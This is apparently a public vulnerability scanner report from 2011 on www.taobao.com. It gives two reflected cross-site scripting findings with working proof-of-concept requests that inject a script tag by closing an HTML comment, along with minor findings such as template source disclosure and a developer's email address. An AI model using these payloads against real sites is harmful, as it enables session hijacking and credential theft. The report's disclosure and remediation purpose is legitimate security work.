XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, www.taobao.com

Report generated by XSS.CX at Mon Aug 15 10:22:07 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

XSS in taobao.com, XSS, DORK, GHDB, Cross Site Scripting, CWE-79, CAPEC-86

1.1. http://www.taobao.com/index_other.php [REST URL parameter 1]

1.2. http://www.taobao.com/index_other.php [name of an arbitrarily supplied request parameter]

2. Source code disclosure

3. Cross-domain script include

4. Email addresses disclosed

5. HTML uses unrecognised charset



1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.taobao.com/index_other.php [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.taobao.com
Path:   /index_other.php

Issue detail

The value of REST URL parameter 1 is copied into an HTML comment. The payload 4e229--><script>alert(1)</script>7e0288d15c0 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index_other.php4e229--><script>alert(1)</script>7e0288d15c0 HTTP/1.1
Host: www.taobao.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _lang=zh_CN:GBK

Response

HTTP/1.1 200 OK
Server: Tengine
Date: Mon, 15 Aug 2011 16:17:08 GMT
Content-Type: text/html; charset=GB2312
Connection: keep-alive
Vary: Accept-Encoding
Expires: Mon, 15 Aug 2011 17:17:08 GMT
Cache-Control: max-age=3600
Content-Length: 137318

<!DOCTYPE HTML>
<html>
<head>
<meta charset="gbk">
<title>...... - ..........</title>
<meta name="description" content="...... - ..................................................................
...[SNIP]...
<a href="http://www.taobao.com/index_other.php4e229--><script>alert(1)</script>7e0288d15c0?noscript=1">
...[SNIP]...

1.2. http://www.taobao.com/index_other.php [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.taobao.com
Path:   /index_other.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into an HTML comment. The payload 2a852--><script>alert(1)</script>ad90185e088 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index_other.php/2a852--><script>alert(1)</script>ad90185e088 HTTP/1.1
Host: www.taobao.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _lang=zh_CN:GBK

Response

HTTP/1.1 200 OK
Server: Tengine
Date: Mon, 15 Aug 2011 16:16:57 GMT
Content-Type: text/html; charset=GB2312
Connection: keep-alive
Vary: Accept-Encoding
Expires: Mon, 15 Aug 2011 17:16:57 GMT
Cache-Control: max-age=3600
Content-Length: 137316

<!DOCTYPE HTML>
<html>
<head>
<meta charset="gbk">
<title>...... - ..........</title>
<meta name="description" content="...... - ..................................................................
...[SNIP]...
<a href="http://www.taobao.com/index_other.php/2a852--><script>alert(1)</script>ad90185e088?noscript=1">
...[SNIP]...

2. Source code disclosure  previous  next

Summary

Severity:   Low
Confidence:   Tentative
Host:   http://www.taobao.com
Path:   /index_other.php

Issue detail

The application appears to disclose some server-side source code written in ASP.

Issue background

Server-side source code may contain sensitive information which can help an attacker formulate attacks against the application.

Issue remediation

Server-side source code is normally disclosed to clients as a result of typographical errors in scripts or because of misconfiguration, such as failing to grant executable permissions to a script or directory. You should review the cause of the code disclosure and prevent it from happening.

Request

GET /index_other.php HTTP/1.1
Host: www.taobao.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _lang=zh_CN:GBK

Response

HTTP/1.1 200 OK
Server: Tengine
Date: Mon, 15 Aug 2011 16:16:14 GMT
Content-Type: text/html; charset=GB2312
Connection: keep-alive
Vary: Accept-Encoding
Expires: Mon, 15 Aug 2011 17:16:14 GMT
Cache-Control: max-age=3600
Content-Length: 137228

<!DOCTYPE HTML>
<html>
<head>
<meta charset="gbk">
<title>...... - ..........</title>
<meta name="description" content="...... - ..................................................................
...[SNIP]...
<h4 class="sell-top-nvzhuang"><%=listTitle%></h4>
       <ul class="top-item-list">
       <% for( var i = 0; list[ i ]; i++ ){ %>
           <% if( i == 0 ) { %>
           <li class="top-item-no1">
...[SNIP]...
<span class="top-rank"><%=(i+1)%></span>
               <a href="<%=list[i].href%>">
                   <span><img src="<%=list[i].img%>" /></span>
                   <span class="top-desc"><%=list[i].desc%></span>
...[SNIP]...
</li>
           <% } else { %>
           <li>
               <span class="top-rank"><%=(i+1)%></span>
...[SNIP]...
<a href="<%=list[i].href%>"><%=list[i].desc%></a>
...[SNIP]...

3. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.taobao.com
Path:   /index_other.php

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /index_other.php HTTP/1.1
Host: www.taobao.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _lang=zh_CN:GBK

Response

HTTP/1.1 200 OK
Server: Tengine
Date: Mon, 15 Aug 2011 16:16:14 GMT
Content-Type: text/html; charset=GB2312
Connection: keep-alive
Vary: Accept-Encoding
Expires: Mon, 15 Aug 2011 17:16:14 GMT
Cache-Control: max-age=3600
Content-Length: 137228

<!DOCTYPE HTML>
<html>
<head>
<meta charset="gbk">
<title>...... - ..........</title>
<meta name="description" content="...... - ..................................................................
...[SNIP]...
</style>

<script src="http://a.tbcdn.cn/??s/kissy/1.1.6/kissy-min.js,p/global/1.0/global-min.js?t=2011081120110301.js"></script>
...[SNIP]...
</script>
<script src="http://z.alimama.com/tbk_inf.js"></script>
...[SNIP]...

4. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.taobao.com
Path:   /index_other.php

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /index_other.php HTTP/1.1
Host: www.taobao.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _lang=zh_CN:GBK

Response

HTTP/1.1 200 OK
Server: Tengine
Date: Mon, 15 Aug 2011 16:16:14 GMT
Content-Type: text/html; charset=GB2312
Connection: keep-alive
Vary: Accept-Encoding
Expires: Mon, 15 Aug 2011 17:16:14 GMT
Cache-Control: max-age=3600
Content-Length: 137228

<!DOCTYPE HTML>
<html>
<head>
<meta charset="gbk">
<title>...... - ..........</title>
<meta name="description" content="...... - ..................................................................
...[SNIP]...
<script>
/**
* Preload Widget For Taobao HomePage
* @creator yunqian (yunqian@taobao.com)
*/

(function(win, S) {

var Event = S.Event;
var URL = 'http://a.tbcdn.cn/p/search/searchpreload.js?t=20110623.js';
var preloaded = false;

Event.on(document, 'keydown', fu
...[SNIP]...

5. HTML uses unrecognised charset  previous

Summary

Severity:   Information
Confidence:   Tentative
Host:   http://www.taobao.com
Path:   /index_other.php

Issue detail

The response specifies that its MIME type is HTML. However, it specifies a charset that is not commonly recognised as standard. The following charset directive was specified:

Issue background

Applications may specify a non-standard character set as a result of typographical errors within the code base, or because of intentional usage of an unusual character set that is not universally recognised by browsers. If the browser does not recognise the character set specified by the application, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /index_other.php HTTP/1.1
Host: www.taobao.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: _lang=zh_CN:GBK

Response

HTTP/1.1 200 OK
Server: Tengine
Date: Mon, 15 Aug 2011 16:16:14 GMT
Content-Type: text/html; charset=GB2312
Connection: keep-alive
Vary: Accept-Encoding
Expires: Mon, 15 Aug 2011 17:16:14 GMT
Cache-Control: max-age=3600
Content-Length: 137228

<!DOCTYPE HTML>
<html>
<head>
<meta charset="gbk">
<title>...... - ..........</title>
<meta name="description" content="...... - ..................................................................
...[SNIP]...

Report generated by XSS.CX at Mon Aug 15 10:22:07 GMT-06:00 2011.